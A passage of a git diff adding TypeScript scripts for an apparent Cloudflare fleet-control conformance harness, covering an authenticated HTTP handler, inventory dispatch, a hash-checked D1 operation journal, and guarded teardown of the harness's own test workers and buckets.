+            current.observation.buckets[index]?.observedCreationDate === null
+              ? Promise.resolve()
+              : plane.backend.assertApplicationR2Empty(bucket, fence),
+          ),
+        );
+        for (const read of emptyReads) fulfilled(read);
+        const database: DatabaseReference = {
+          id: resource.database.id,
+          name: resource.database.name,
+          created: false,
+        };
+        const releases: ExternalReleaseSnapshot[] =
+          resource.knownVersionIds.map((artifactVersion) => ({
+            physicalScriptName: resource.scriptName,
+            specDigest: deploymentSpecDigest(spec),
+            releaseSchemaVersion: spec.schemaVersion,
+            artifactVersion,
+          }));
+        await fence.assertOwned();
+        await plane.backend.deleteWorker(
+          spec,
+          releases.slice(1),
+          database,
+          releases[0],
+          fence,
+        );
+        const afterWorker = await readForceFootprint(
+          context,
+          before,
+          resource,
+          plane,
+        );
+        assertForceRecoveryState(afterWorker.observation);
+        assertForceWorkerAbsent(afterWorker.observation);
+        for (const bucket of buckets) {
+          await fence.assertOwned();
+          const reads = await Promise.allSettled([
+            plane.client.getR2Bucket(bucket.bucketName, bucket.jurisdiction),
+            plane.client.getDatabase(resource.database.id),
+            plane.client.listWorkerDatabaseAttachments(resource.database.id),
+            plane.backend.assertApplicationR2Detached(bucket, fence),
+          ] as const);
+          const present = fulfilled(reads[0]);
+          if (fulfilled(reads[1]) || fulfilled(reads[2]).length > 0)
+            throw new DirectReferenceExecutionError();
+          fulfilled(reads[3]);
+          if (!present) continue;
+          if (present.creationDate !== bucket.creationDate)
+            throw new DirectReferenceExecutionError();
+          await plane.backend.assertApplicationR2Empty(bucket, fence);
+          await fence.assertOwned();
+          await plane.backend.deleteApplicationR2Bucket(bucket, fence);
+        }
+        const final = await readForceFootprint(
+          context,
+          before,
+          resource,
+          plane,
+        );
+        assertForceRecoveryState(final.observation);
+        assertForceWorkerAbsent(final.observation);
+        if (
+          final.observation.buckets.some(
+            (bucket) => bucket.observedCreationDate !== null,
+          )
+        )
+          throw new DirectReferenceExecutionError();
+        await assertForceAttachments(plane, resource, false);
+        await fence.assertOwned();
+        return { returned: true, ...final };
+      });
+    },
+  );
+}
diff --git a/packages/fleet-control/scripts/direct-reference-http.ts b/packages/fleet-control/scripts/direct-reference-http.ts
new file mode 100644
index 00000000..3cf183fe
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-http.ts
@@ -0,0 +1,217 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  bearerActorAuthenticator,
+  staticTokenVerifier,
+} from '@proofoftech/flowsafe/host-kit';
+import {
+  DIRECT_REFERENCE_PATH,
+  type DirectReferenceAction,
+  type DirectReferenceErrorCode,
+  type DirectReferenceRequest,
+  DirectReferenceRequestError,
+  readDirectReferenceRequest,
+} from './direct-reference-contract.mjs';
+import {
+  type DirectJournalErrorCode,
+  DirectReferenceJournalError,
+} from './direct-reference-journal.js';
+
+export type DirectReferenceExecutionErrorCode =
+  | 'operation-refused'
+  | 'wrong-operation'
+  | 'missing-continuation'
+  | 'injected-response-loss'
+  | 'budget-exhausted';
+
+export class DirectReferenceExecutionError extends Error {
+  readonly code: DirectReferenceExecutionErrorCode;
+  constructor(code: DirectReferenceExecutionErrorCode = 'operation-refused') {
+    super(code);
+    this.name = 'DirectReferenceExecutionError';
+    this.code = code;
+  }
+}
+
+export interface DirectReferenceHttpOptions {
+  readonly invokeSecret: string | undefined;
+  readonly configSha256: string;
+  readonly invocationTimeoutMs: number;
+  readonly startedAt?: number;
+  readonly dispatch: (
+    action: DirectReferenceAction,
+    signal: AbortSignal,
+  ) => Promise<unknown>;
+}
+
+const requestStatus = {
+  'invalid-request': 400,
+  'payload-too-large': 413,
+  'invalid-utf8': 400,
+  'run-binding-mismatch': 409,
+} satisfies Record<DirectReferenceErrorCode, number>;
+const journalStatus = {
+  'journal-state': 500,
+  'run-binding-mismatch': 409,
+  'operation-mismatch': 409,
+  'prerequisite-unavailable': 409,
+  'missing-start': 409,
+} satisfies Record<DirectJournalErrorCode, number>;
+const executionStatus = {
+  'operation-refused': 409,
+  'wrong-operation': 409,
+  'missing-continuation': 409,
+  'injected-response-loss': 503,
+  'budget-exhausted': 503,
+} satisfies Record<DirectReferenceExecutionErrorCode, number>;
+
+function response(
+  value: unknown,
+  status: number,
+  headers?: ConstructorParameters<typeof Headers>[0],
+) {
+  const outputHeaders = new Headers(headers);
+  outputHeaders.set('Cache-Control', 'no-store');
+  return Response.json(value, { status, headers: outputHeaders });
+}
+
+function failure(
+  code: string,
+  status: number,
+  headers?: ConstructorParameters<typeof Headers>[0],
+) {
+  return response(
+    { contractVersion: 1, ok: false, error: { code } },
+    status,
+    headers,
+  );
+}
+
+function failureFromException(error: unknown): Response {
+  try {
+    let statuses: Readonly<Record<string, number>> | undefined;
+    let code: unknown;
+    if (error instanceof DirectReferenceRequestError) {
+      statuses = requestStatus;
+      code = error.code;
+    } else if (error instanceof DirectReferenceJournalError) {
+      statuses = journalStatus;
+      code = error.code;
+    } else if (error instanceof DirectReferenceExecutionError) {
+      statuses = executionStatus;
+      code = error.code;
+    }
+    if (statuses && typeof code === 'string' && Object.hasOwn(statuses, code)) {
+      const status = statuses[code];
+      if (status !== undefined) return failure(code, status);
+    }
+  } catch {
+    // Class and code inspection can invoke traps on a foreign rejection.
+  }
+  return failure('operation-refused', 500);
+}
+
+export async function handleDirectReferenceHttpRequest(
+  request: Request,
+  options: DirectReferenceHttpOptions,
+): Promise<Response> {
+  const deadline = new AbortController();
+  let timer: ReturnType<typeof setTimeout> | undefined;
+  let deadlineAt: number | undefined;
+  try {
+    if (new URL(request.url).pathname !== DIRECT_REFERENCE_PATH)
+      return failure('not-found', 404);
+    if (request.method !== 'POST')
+      return failure('method-not-allowed', 405, { Allow: 'POST' });
+    const secret = options.invokeSecret;
+    const authenticate = bearerActorAuthenticator(
+      staticTokenVerifier(
+        new Map(
+          typeof secret === 'string' && secret.trim().length > 0
+            ? [[secret, { id: 'direct-conformance-operator', role: 'admin' }]]
+            : [],
+        ),
+      ),
+    );
+    if (!(await authenticate(request)))
+      return failure('unauthorized', 401, { 'WWW-Authenticate': 'Bearer' });
+    if (
+      !Number.isSafeInteger(options.invocationTimeoutMs) ||
+      options.invocationTimeoutMs < 1 ||
+      options.invocationTimeoutMs > 2_147_483_647
+    )
+      return failure('operation-refused', 500);
+    const startedAt = options.startedAt ?? performance.now();
+    if (
+      !Number.isFinite(startedAt) ||
+      startedAt < 0 ||
+      startedAt > performance.now()
+    )
+      return failure('operation-refused', 500);
+    const expiresAt = startedAt + options.invocationTimeoutMs;
+    deadlineAt = expiresAt;
+    timer = setTimeout(
+      () => deadline.abort(),
+      Math.min(
+        options.invocationTimeoutMs,
+        Math.max(1, Math.ceil(expiresAt - performance.now())),
+      ),
+    );
+    const signal = AbortSignal.any([request.signal, deadline.signal]);
+    const assertActive = () => {
+      if (performance.now() >= expiresAt) deadline.abort();
+      signal.throwIfAborted();
+    };
+    assertActive();
+    const body = request.body?.pipeThrough(new TransformStream(), { signal });
+    const init = {
+      method: request.method,
+      headers: request.headers,
+      body,
+      signal,
+      duplex: 'half' as const,
+    };
+    let abortRead!: () => void;
+    const aborted = new Promise<never>((_resolve, reject) => {
+      abortRead = () => reject(signal.reason);
+      signal.addEventListener('abort', abortRead, { once: true });
+    });
+    let input: DirectReferenceRequest;
+    try {
+      // workerd can await source cancellation after the pipe aborts.
+      input = await Promise.race([
+        readDirectReferenceRequest(
+          new Request(request.url, init),
+          options.configSha256,
+        ),
+        aborted,
+      ]);
+    } finally {
+      signal.removeEventListener('abort', abortRead);
+    }
+    assertActive();
+    const result = await options.dispatch(input.action, signal);
+    assertActive();
+    const output = response(
+      {
+        contractVersion: 1,
+        configSha256: options.configSha256,
+        action: input.action.kind,
+        ok: true,
+        result,
+      },
+      200,
+    );
+    assertActive();
+    return output;
+  } catch (error) {
+    if (deadlineAt !== undefined && performance.now() >= deadlineAt)
+      deadline.abort();
+    if (deadline.signal.aborted) return failure('invocation-timeout', 504);
+    if (request.signal.aborted) return failure('request-aborted', 499);
+    return failureFromException(error);
+  } finally {
+    if (timer !== undefined) clearTimeout(timer);
+    deadline.abort();
+  }
+}
diff --git a/packages/fleet-control/scripts/direct-reference-inventory.ts b/packages/fleet-control/scripts/direct-reference-inventory.ts
new file mode 100644
index 00000000..f346363d
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-inventory.ts
@@ -0,0 +1,149 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { randomUUID } from 'node:crypto';
+import type { CloudflareFleetInventoryAdvanceAction } from '@proofoftech/fleet-control/cloudflare-control-plane';
+import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs';
+import type { DirectReferenceContext } from './direct-reference-context.js';
+import { directContinuation } from './direct-reference-continuation.js';
+import type {
+  DirectInventorySlot,
+  DirectReferenceAction,
+} from './direct-reference-contract.mjs';
+import { DirectReferenceExecutionError } from './direct-reference-http.js';
+import {
+  DirectReferenceJournalError,
+  type DirectStoredOperation,
+} from './direct-reference-journal.js';
+
+function inventoryOptions(manifest: DirectRunManifest) {
+  const prefix = `${manifest.resourcePrefix}-tenant-`;
+  return {
+    databaseNamePrefix: prefix,
+    scriptNamePrefix: prefix,
+    includeR2Buckets: true,
+  };
+}
+
+function inventoryStart(
+  manifest: DirectRunManifest,
+  stored: DirectStoredOperation,
+) {
+  if (stored.kind !== 'inventory' || stored.operationId === null)
+    throw new DirectReferenceJournalError();
+  const action = {
+    kind: 'start' as const,
+    operationId: stored.operationId,
+    options: inventoryOptions(manifest),
+  };
+  if (stored.inputJson !== JSON.stringify(action))
+    throw new DirectReferenceJournalError();
+  return action;
+}
+
+function pinOwner(
+  manifest: DirectRunManifest,
+  slot: DirectInventorySlot,
+): string {
+  return `direct-reference:${manifest.resourcePrefix}:${slot}`;
+}
+
+export async function selectedDirectGeneration(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+  slot: DirectInventorySlot,
+) {
+  const stored = await context.journal.readOperation(slot);
+  if (!stored)
+    throw new DirectReferenceJournalError('prerequisite-unavailable');
+  const start = inventoryStart(manifest, stored);
+  const run = await context.inventoryStore.readRunByOperation(
+    start.operationId,
+  );
+  if (run?.state !== 'finalized')
+    throw new DirectReferenceJournalError('prerequisite-unavailable');
+  if (
+    run.operationId !== start.operationId ||
+    run.options.databaseNamePrefix !== start.options.databaseNamePrefix ||
+    run.options.scriptNamePrefix !== start.options.scriptNamePrefix ||
+    run.options.includeR2Buckets !== true ||
+    run.options.includeDispatchNamespace !== false ||
+    run.options.hostRoutingKvId !== undefined
+  )
+    throw new DirectReferenceJournalError();
+  return { operationId: run.operationId, generation: run.progress.generation };
+}
+
+export async function dispatchDirectInventory(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+  action: Extract<DirectReferenceAction, { slot: DirectInventorySlot }>,
+  signal: AbortSignal,
+): Promise<unknown> {
+  if (action.kind === 'inventory-read') {
+    const selected = await selectedDirectGeneration(
+      context,
+      manifest,
+      action.slot,
+    );
+    return {
+      ...selected,
+      inventory: await context.control.readFleetInventoryGeneration(
+        selected.generation,
+      ),
+    };
+  }
+  if (action.kind !== 'inventory-start' && action.kind !== 'inventory-continue')
+    throw new DirectReferenceExecutionError();
+  let advance: CloudflareFleetInventoryAdvanceAction;
+  if (action.kind === 'inventory-start') {
+    const stored = await context.journal.freezeStart(action.slot, async () => {
+      if (action.slot === 'inventory-after') {
+        const before = await selectedDirectGeneration(
+          context,
+          manifest,
+          'inventory-before',
+        );
+        await context.inventoryStore.pinGeneration({
+          generation: before.generation,
+          pinnedBy: pinOwner(manifest, 'inventory-before'),
+        });
+      }
+      const operationId = randomUUID();
+      return {
+        operationId,
+        inputJson: JSON.stringify({
+          kind: 'start',
+          operationId,
+          options: inventoryOptions(manifest),
+        }),
+      };
+    });
+    const start = inventoryStart(manifest, stored);
+    advance =
+      stored.tokenJson === null
+        ? start
+        : { kind: 'continue', token: directContinuation(stored, action) };
+  } else {
+    const stored = await context.journal.readOperation(action.slot);
+    if (!stored)
+      throw new DirectReferenceExecutionError('missing-continuation');
+    inventoryStart(manifest, stored);
+    advance = { kind: 'continue', token: directContinuation(stored, action) };
+  }
+  const result = await context.control.advanceFleetInventory({
+    action: advance,
+    maxProviderRequests: manifest.referenceRuntime.maxProviderRequests,
+    signal,
+  });
+  await context.journal.rememberToken(
+    action.slot,
+    JSON.stringify(result.token),
+  );
+  if (result.status === 'complete') {
+    await context.inventoryStore.pinGeneration({
+      generation: result.generation.generation,
+      pinnedBy: pinOwner(manifest, action.slot),
+    });
+  }
+  return result;
+}
diff --git a/packages/fleet-control/scripts/direct-reference-journal.ts b/packages/fleet-control/scripts/direct-reference-journal.ts
new file mode 100644
index 00000000..2232def4
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-journal.ts
@@ -0,0 +1,582 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { Buffer } from 'node:buffer';
+import { createHash } from 'node:crypto';
+import type { D1Database } from '@cloudflare/workers-types';
+import { D1FleetStateDatabase } from '@proofoftech/fleet-control/cloudflare-control-plane';
+import type { DirectFixtureRole } from './direct-credentialed-spec.js';
+import type {
+  DirectAuditSlot,
+  DirectInventorySlot,
+} from './direct-reference-contract.mjs';
+
+export type DirectOperationSlot =
+  | DirectInventorySlot
+  | DirectAuditSlot
+  | 'migration-next'
+  | 'cleanup-recovery-initial'
+  | `cleanup-${DirectFixtureRole}`
+  | `decommission-${DirectFixtureRole}`;
+export type DirectOperationKind =
+  | 'inventory'
+  | 'audit'
+  | 'migration'
+  | 'cleanup'
+  | 'decommission';
+export type DirectJournalErrorCode =
+  | 'journal-state'
+  | 'run-binding-mismatch'
+  | 'operation-mismatch'
+  | 'prerequisite-unavailable'
+  | 'missing-start';
+
+export class DirectReferenceJournalError extends Error {
+  readonly code: DirectJournalErrorCode;
+  constructor(code: DirectJournalErrorCode = 'journal-state') {
+    super(code);
+    this.name = 'DirectReferenceJournalError';
+    this.code = code;
+  }
+}
+
+export interface DirectStartCandidate {
+  readonly operationId: string | null;
+  readonly inputJson: string;
+}
+
+export interface DirectStoredOperation extends DirectStartCandidate {
+  readonly slot: DirectOperationSlot;
+  readonly kind: DirectOperationKind;
+  readonly tokenJson: string | null;
+  readonly tokenRevision: number | null;
+}
+
+export interface DirectFrozenStart extends DirectStoredOperation {
+  readonly inserted: boolean;
+}
+
+export interface DirectStoredObservation {
+  readonly identityJson: string;
+  readonly provenanceJson: string;
+}
+
+export interface DirectStoredResource extends DirectStoredObservation {
+  readonly identitySha256: string;
+}
+
+type ObservationKind =
+  | 'resource'
+  | 'settlement'
+  | 'force-before'
+  | 'force-after';
+
+const MAX_JSON_BYTES = 256 * 1024;
+const schema = [
+  `CREATE TABLE IF NOT EXISTS direct_reference_run (
+    run_key TEXT PRIMARY KEY,
+    binding_json TEXT NOT NULL,
+    binding_sha256 TEXT NOT NULL,
+    interruption_json TEXT,
+    interruption_sha256 TEXT,
+    CHECK ((interruption_json IS NULL) = (interruption_sha256 IS NULL))
+  )`,
+  `CREATE TABLE IF NOT EXISTS direct_reference_operations (
+    run_key TEXT NOT NULL REFERENCES direct_reference_run(run_key),
+    slot TEXT NOT NULL,
+    operation_kind TEXT NOT NULL,
+    operation_id TEXT,
+    start_json TEXT NOT NULL,
+    start_sha256 TEXT NOT NULL,
+    token_json TEXT,
+    token_sha256 TEXT,
+    token_revision INTEGER,
+    PRIMARY KEY (run_key, slot),
+    CHECK ((token_json IS NULL AND token_sha256 IS NULL AND token_revision IS NULL)
+      OR (token_json IS NOT NULL AND token_sha256 IS NOT NULL AND token_revision IS NOT NULL))
+  )`,
+  `CREATE TABLE IF NOT EXISTS direct_reference_observations (
+    run_key TEXT NOT NULL REFERENCES direct_reference_run(run_key),
+    observation_kind TEXT NOT NULL,
+    observation_key TEXT NOT NULL,
+    identity_json TEXT NOT NULL,
+    identity_sha256 TEXT NOT NULL,
+    provenance_json TEXT NOT NULL,
+    provenance_sha256 TEXT NOT NULL,
+    PRIMARY KEY (run_key, observation_kind, observation_key)
+  )`,
+];
+
+function stateError(): never {
+  throw new DirectReferenceJournalError();
+}
+
+function text(value: unknown): string {
+  if (typeof value !== 'string' || !value || value.length > 128) stateError();
+  return value;
+}
+
+function role(value: DirectFixtureRole): DirectFixtureRole {
+  if (value !== 'a' && value !== 'b' && value !== 'recovery') stateError();
+  return value;
+}
+
+function sha256(value: string): string {
+  if (typeof value !== 'string' || !/^[a-f0-9]{64}$/u.test(value)) stateError();
+  return value;
+}
+
+function kindFor(slot: string): DirectOperationKind {
+  if (slot === 'inventory-before' || slot === 'inventory-after')
+    return 'inventory';
+  if (slot === 'audit-before' || slot === 'audit-after') return 'audit';
+  if (slot === 'migration-next') return 'migration';
+  if (slot === 'cleanup-recovery-initial') return 'cleanup';
+  for (const kind of ['cleanup', 'decommission'] as const)
+    if (['a', 'b', 'recovery'].some((role) => slot === `${kind}-${role}`))
+      return kind;
+  return stateError();
+}
+
+function jsonObject(value: unknown): {
+  text: string;
+  value: Record<string, unknown>;
+} {
+  if (typeof value !== 'string' || Buffer.byteLength(value) > MAX_JSON_BYTES)
+    stateError();
+  let parsed: unknown;
+  try {
+    parsed = JSON.parse(value);
+  } catch {
+    stateError();
+  }
+  if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed))
+    stateError();
+  return {
+    text: value,
+    value: parsed as Record<string, unknown>,
+  };
+}
+
+function boundHash(context: readonly unknown[], value: string): string {
+  return createHash('sha256')
+    .update(JSON.stringify([...context, value]))
+    .digest('hex');
+}
+
+function storedJson(
+  value: unknown,
+  hash: unknown,
+  context: readonly unknown[],
+) {
+  const parsed = jsonObject(value);
+  if (boundHash(context, parsed.text) !== hash) stateError();
+  return parsed;
+}
+
+function tokenFields(token: Record<string, unknown>) {
+  const operationId = text(token.operationId);
+  const revision = token.revision;
+  if (
+    typeof revision !== 'number' ||
+    !Number.isSafeInteger(revision) ||
+    revision < 0
+  )
+    stateError();
+  return { operationId, revision };
+}
+
+export class DirectReferenceJournal {
+  readonly #database: D1FleetStateDatabase;
+  readonly #runKey: string;
+  readonly #binding: ReturnType<typeof jsonObject>;
+  readonly #bindingHash: string;
+  #ready?: Promise<void>;
+
+  constructor(database: D1Database, runKey: string, bindingJson: string) {
+    this.#database = new D1FleetStateDatabase(database);
+    this.#runKey = text(runKey);
+    this.#binding = jsonObject(bindingJson);
+    this.#bindingHash = boundHash(
+      ['binding', this.#runKey],
+      this.#binding.text,
+    );
+  }
+
+  async #initialize(): Promise<void> {
+    await this.#database.batch(schema.map((sql) => ({ sql })));
+    await this.#database.execute(
+      'INSERT INTO direct_reference_run (run_key,binding_json,binding_sha256) VALUES (?,?,?) ON CONFLICT DO NOTHING',
+      [this.#runKey, this.#binding.text, this.#bindingHash],
+    );
+    const rows = await this.#database.query(
+      'SELECT * FROM direct_reference_run WHERE run_key=?',
+      [this.#runKey],
+    );
+    const row = rows[0];
+    if (rows.length !== 1 || !row) stateError();
+    storedJson(row.binding_json, row.binding_sha256, ['binding', this.#runKey]);
+    if (
+      row.binding_json !== this.#binding.text ||
+      row.binding_sha256 !== this.#bindingHash
+    )
+      throw new DirectReferenceJournalError('run-binding-mismatch');
+  }
+
+  async #withState<T>(operation: () => Promise<T>): Promise<T> {
+    try {
+      this.#ready ??= this.#initialize().catch((error) => {
+        this.#ready = undefined;
+        throw error;
+      });
+      await this.#ready;
+      return await operation();
+    } catch (error) {
+      let code: DirectJournalErrorCode = 'journal-state';
+      try {
+        if (error instanceof DirectReferenceJournalError) {
+          const candidate = error.code;
+          if (
+            candidate === 'journal-state' ||
+            candidate === 'run-binding-mismatch' ||
+            candidate === 'operation-mismatch' ||
+            candidate === 'prerequisite-unavailable' ||
+            candidate === 'missing-start'
+          )
+            code = candidate;
+        }
+      } catch {
+        // Class and code inspection can invoke traps on a foreign rejection.
+      }
+      throw new DirectReferenceJournalError(code);
+    }
+  }
+
+  async #operation(
+    slot: DirectOperationSlot,
+  ): Promise<DirectStoredOperation | undefined> {
+    const kind = kindFor(slot);
+    const rows = await this.#database.query(
+      'SELECT * FROM direct_reference_operations WHERE run_key=? AND slot=?',
+      [this.#runKey, slot],
+    );
+    if (rows.length > 1) stateError();
+    const row = rows[0];
+    if (!row) return undefined;
+    if (row.operation_kind !== kind) stateError();
+    const operationId =
+      row.operation_id === null ? null : text(row.operation_id);
+    const assignedByFleet = kind === 'cleanup' || kind === 'decommission';
+    if (operationId === null && !assignedByFleet) stateError();
+    if (assignedByFleet && operationId !== null && row.token_json === null)
+      stateError();
+    const start = storedJson(row.start_json, row.start_sha256, [
+      'start',
+      this.#runKey,
+      slot,
+      kind,
+      assignedByFleet ? null : operationId,
+    ]);
+    let tokenJson: string | null = null;
+    let tokenRevision: number | null = null;
+    if (row.token_json !== null) {
+      const token = storedJson(row.token_json, row.token_sha256, [
+        'token',
+        this.#runKey,
+        slot,
+      ]);
+      const fields = tokenFields(token.value);
+      if (
+        fields.operationId !== operationId ||
+        fields.revision !== row.token_revision
+      )
+        stateError();
+      tokenJson = token.text;
+      tokenRevision = fields.revision;
+    } else if (row.token_sha256 !== null || row.token_revision !== null)
+      stateError();
+    return Object.freeze({
+      slot,
+      kind,
+      operationId,
+      inputJson: start.text,
+      tokenJson,
+      tokenRevision,
+    });
+  }
+
+  readOperation(
+    slot: DirectOperationSlot,
+  ): Promise<DirectStoredOperation | undefined> {
+    return this.#withState(() => this.#operation(slot));
+  }
+
+  freezeStart(
+    slot: DirectOperationSlot,
+    create: () => Promise<DirectStartCandidate>,
+  ): Promise<DirectFrozenStart> {
+    return this.#withState(async () => {
+      const prior = await this.#operation(slot);
+      if (prior) return Object.freeze({ ...prior, inserted: false });
+      const candidate = await create();
+      const kind = kindFor(slot);
+      const operationId =
+        candidate.operationId === null ? null : text(candidate.operationId);
+      const assignedByFleet = kind === 'cleanup' || kind === 'decommission';
+      if ((operationId === null) !== assignedByFleet) stateError();
+      const input = jsonObject(candidate.inputJson);
+      const inserted = await this.#database.query(
+        'INSERT INTO direct_reference_operations (run_key,slot,operation_kind,operation_id,start_json,start_sha256) VALUES (?,?,?,?,?,?) ON CONFLICT DO NOTHING RETURNING slot',
+        [
+          this.#runKey,
+          slot,
+          kind,
+          operationId,
+          input.text,
+          boundHash(
+            ['start', this.#runKey, slot, kind, operationId],
+            input.text,
+          ),
+        ],
+      );
+      if (
+        inserted.length > 1 ||
+        (inserted.length === 1 && inserted[0]?.slot !== slot)
+      )
+        stateError();
+      const winner = await this.#operation(slot);
+      if (!winner) stateError();
+      if (inserted.length === 1 && winner.inputJson !== input.text)
+        stateError();
+      return Object.freeze({ ...winner, inserted: inserted.length === 1 });
+    });
+  }
+
+  rememberToken(slot: DirectOperationSlot, tokenJson: string): Promise<void> {
+    return this.#withState(async () => {
+      const before = await this.#operation(slot);
+      if (!before) throw new DirectReferenceJournalError('missing-start');
+      const token = jsonObject(tokenJson);
+      const { operationId, revision } = tokenFields(token.value);
+      const updated = await this.#database.query(
+        `UPDATE direct_reference_operations
+         SET operation_id=COALESCE(operation_id,?),token_json=?,token_sha256=?,token_revision=?
+         WHERE run_key=? AND slot=? AND (operation_id IS NULL OR operation_id=?)
+           AND (token_revision IS NULL OR token_revision<?) RETURNING slot`,
+        [
+          operationId,
+          token.text,
+          boundHash(['token', this.#runKey, slot], token.text),
+          revision,
+          this.#runKey,
+          slot,
+          operationId,
+          revision,
+        ],
+      );
+      if (updated.length > 1) stateError();
+      const after = await this.#operation(slot);
+      if (!after) stateError();
+      if (after.operationId !== operationId)
+        throw new DirectReferenceJournalError('operation-mismatch');
+      if (after.tokenRevision === null || after.tokenRevision < revision)
+        stateError();
+      if (
+        updated.length === 1 &&
+        after.tokenRevision === revision &&
+        after.tokenJson !== token.text
+      )
+        stateError();
+    });
+  }
+
+  recordInterruption(witnessJson: string): Promise<boolean> {
+    return this.#withState(async () => {
+      const witness = jsonObject(witnessJson);
+      const rows = await this.#database.query(
+        'UPDATE direct_reference_run SET interruption_json=?,interruption_sha256=? WHERE run_key=? AND interruption_json IS NULL RETURNING run_key',
+        [
+          witness.text,
+          boundHash(['interruption', this.#runKey], witness.text),
+          this.#runKey,
+        ],
+      );
+      if (rows.length > 1) stateError();
+      const recorded = await this.#interruption();
+      if (recorded === null || (rows.length === 1 && recorded !== witness.text))
+        stateError();
+      return rows.length === 1;
+    });
+  }
+
+  async #interruption(): Promise<string | null> {
+    const rows = await this.#database.query(
+      'SELECT interruption_json,interruption_sha256 FROM direct_reference_run WHERE run_key=?',
+      [this.#runKey],
+    );
+    const row = rows[0];
+    if (rows.length !== 1 || !row) stateError();
+    if (row.interruption_json === null) {
+      if (row.interruption_sha256 !== null) stateError();
+      return null;
+    }
+    return storedJson(row.interruption_json, row.interruption_sha256, [
+      'interruption',
+      this.#runKey,
+    ]).text;
+  }
+
+  readInterruption(): Promise<string | null> {
+    return this.#withState(() => this.#interruption());
+  }
+
+  async #observation(
+    kind: ObservationKind,
+    key: string,
+  ): Promise<DirectStoredObservation | undefined> {
+    const rows = await this.#database.query(
+      'SELECT * FROM direct_reference_observations WHERE run_key=? AND observation_kind=? AND observation_key=?',
+      [this.#runKey, kind, key],
+    );
+    if (rows.length > 1) stateError();
+    const row = rows[0];
+    if (!row) return undefined;
+    const context = ['observation', this.#runKey, kind, key];
+    return Object.freeze({
+      identityJson: storedJson(row.identity_json, row.identity_sha256, [
+        ...context,
+        'identity',
+      ]).text,
+      provenanceJson: storedJson(row.provenance_json, row.provenance_sha256, [
+        ...context,
+        'provenance',
+      ]).text,
+    });
+  }
+
+  async #recordObservation(
+    kind: ObservationKind,
+    key: string,
+    identityJson: string,
+    provenanceJson: string,
+  ): Promise<DirectStoredObservation> {
+    const identity = jsonObject(identityJson);
+    const provenance = jsonObject(provenanceJson);
+    const context = ['observation', this.#runKey, kind, key];
+    await this.#database.execute(
+      'INSERT INTO direct_reference_observations (run_key,observation_kind,observation_key,identity_json,identity_sha256,provenance_json,provenance_sha256) VALUES (?,?,?,?,?,?,?) ON CONFLICT DO NOTHING',
+      [
+        this.#runKey,
+        kind,
+        key,
+        identity.text,
+        boundHash([...context, 'identity'], identity.text),
+        provenance.text,
+        boundHash([...context, 'provenance'], provenance.text),
+      ],
+    );
+    const stored = await this.#observation(kind, key);
+    if (!stored || stored.identityJson !== identity.text) stateError();
+    return stored;
+  }
+
+  recordResource(
+    fixtureRole: DirectFixtureRole,
+    identityJson: string,
+    provenanceJson: string,
+  ): Promise<DirectStoredResource> {
+    return this.#withState(async () => {
+      const identity = jsonObject(identityJson);
+      const identitySha256 = boundHash(
+        ['resource', this.#runKey, role(fixtureRole)],
+        identity.text,
+      );
+      const stored = await this.#recordObservation(
+        'resource',
+        `${fixtureRole}:${identitySha256}`,
+        identity.text,
+        provenanceJson,
+      );
+      return Object.freeze({ ...stored, identitySha256 });
+    });
+  }
+
+  readResource(
+    fixtureRole: DirectFixtureRole,
+    identitySha256: string,
+  ): Promise<DirectStoredResource | undefined> {
+    return this.#withState(async () => {
+      const stored = await this.#observation(
+        'resource',
+        `${role(fixtureRole)}:${sha256(identitySha256)}`,
+      );
+      if (!stored) return undefined;
+      if (
+        boundHash(
+          ['resource', this.#runKey, fixtureRole],
+          stored.identityJson,
+        ) !== identitySha256
+      )
+        stateError();
+      return Object.freeze({ ...stored, identitySha256 });
+    });
+  }
+
+  recordSettlement(
+    settlementKey: string,
+    identityJson: string,
+    provenanceJson: string,
+  ): Promise<DirectStoredObservation> {
+    return this.#withState(() =>
+      this.#recordObservation(
+        'settlement',
+        sha256(settlementKey),
+        identityJson,
+        provenanceJson,
+      ),
+    );
+  }
+
+  readSettlement(
+    settlementKey: string,
+  ): Promise<DirectStoredObservation | undefined> {
+    return this.#withState(() =>
+      this.#observation('settlement', sha256(settlementKey)),
+    );
+  }
+
+  recordForceBefore(
+    identityJson: string,
+    provenanceJson: string,
+  ): Promise<DirectStoredObservation> {
+    return this.#withState(() =>
+      this.#recordObservation(
+        'force-before',
+        'recovery',
+        identityJson,
+        provenanceJson,
+      ),
+    );
+  }
+
+  readForceBefore(): Promise<DirectStoredObservation | undefined> {
+    return this.#withState(() => this.#observation('force-before', 'recovery'));
+  }
+
+  recordForceAfter(
+    identityJson: string,
+    provenanceJson: string,
+  ): Promise<DirectStoredObservation> {
+    return this.#withState(() =>
+      this.#recordObservation(
+        'force-after',
+        'recovery',
+        identityJson,
+        provenanceJson,
+      ),
+    );
+  }
+
+  readForceAfter(): Promise<DirectStoredObservation | undefined> {
+    return this.#withState(() => this.#observation('force-after', 'recovery'));
+  }
+}
diff --git a/packages/fleet-control/scripts/direct-reference-lifecycle.ts b/packages/fleet-control/scripts/direct-reference-lifecycle.ts
new file mode 100644
index 00000000..83ac75b8
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-lifecycle.ts
@@ -0,0 +1,463 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  type CleanupAdvanceAction,
+  type CleanupAdvanceResult,
+  type CleanupTerminalReceipt,
+  type CloudflareDeploymentSpec,
+  type DatabaseExportReceiptIdentity,
+  type DecommissionAdvanceIntent,
+  deploymentSpecDigest,
+  type FleetRecord,
+  ProvisioningError,
+  type ProvisioningResult,
+} from '@proofoftech/fleet-control/cloudflare-control-plane';
+import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs';
+import type {
+  DirectFixtureRelease,
+  DirectFixtureRole,
+} from './direct-credentialed-spec.js';
+import type { DirectReferenceContext } from './direct-reference-context.js';
+import { directContinuation } from './direct-reference-continuation.js';
+import type { DirectReferenceAction } from './direct-reference-contract.mjs';
+import { DirectReferenceExecutionError } from './direct-reference-http.js';
+import {
+  type DirectOperationSlot,
+  DirectReferenceJournalError,
